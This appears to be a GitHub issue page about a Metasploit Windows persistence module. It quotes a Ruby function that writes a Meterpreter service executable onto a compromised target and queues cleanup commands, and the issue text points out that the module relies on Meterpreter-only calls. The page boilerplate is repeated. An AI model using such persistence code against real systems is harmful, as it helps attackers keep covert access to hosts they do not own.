You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
# Function for writing executable to target host
# Code from post/windows/manage/persistence_exe
#
def write_exe_to_target(rexe, rexename, rexepath)
# check if we have write permission
if rexepath
begin
temprexe = rexepath + "\\" + rexename
write_file_to_target(temprexe,rexe)
rescue Rex::Post::Meterpreter::RequestError
print_warning("Insufficient privileges to write in #{rexepath}, writing to %TEMP%")
temprexe = session.sys.config.getenv('TEMP') + "\\" + rexename
write_file_to_target(temprexe,rexe)
end
# Write to %temp% directory if not set REMOTE_EXE_PATH
else
temprexe = session.sys.config.getenv('TEMP') + "\\" + rexename
write_file_to_target(temprexe,rexe)
end
print_good("Meterpreter service exe written to #{temprexe}")
@clean_up_rc << "execute -H -i -f taskkill.exe -a \"/f /im #{rexename}\"\n" # Use interact to wait until the task ended.
@clean_up_rc << "rm \"#{temprexe.gsub("\\", "\\\\\\\\")}\"\n"
temprexe
end
def write_file_to_target(temprexe,rexe)
fd = session.fs.file.new(temprexe, "wb")
fd.write(rexe)
fd.close
end
A whole bunch of method calls, such as session.fs.file, are meterpreter only.
The text was updated successfully, but these errors were encountered:
modules/exploits/windows/local/persistence_service.rb
This is a lie:
Due to:
A whole bunch of method calls, such as
session.fs.file
, are meterpreter only.The text was updated successfully, but these errors were encountered: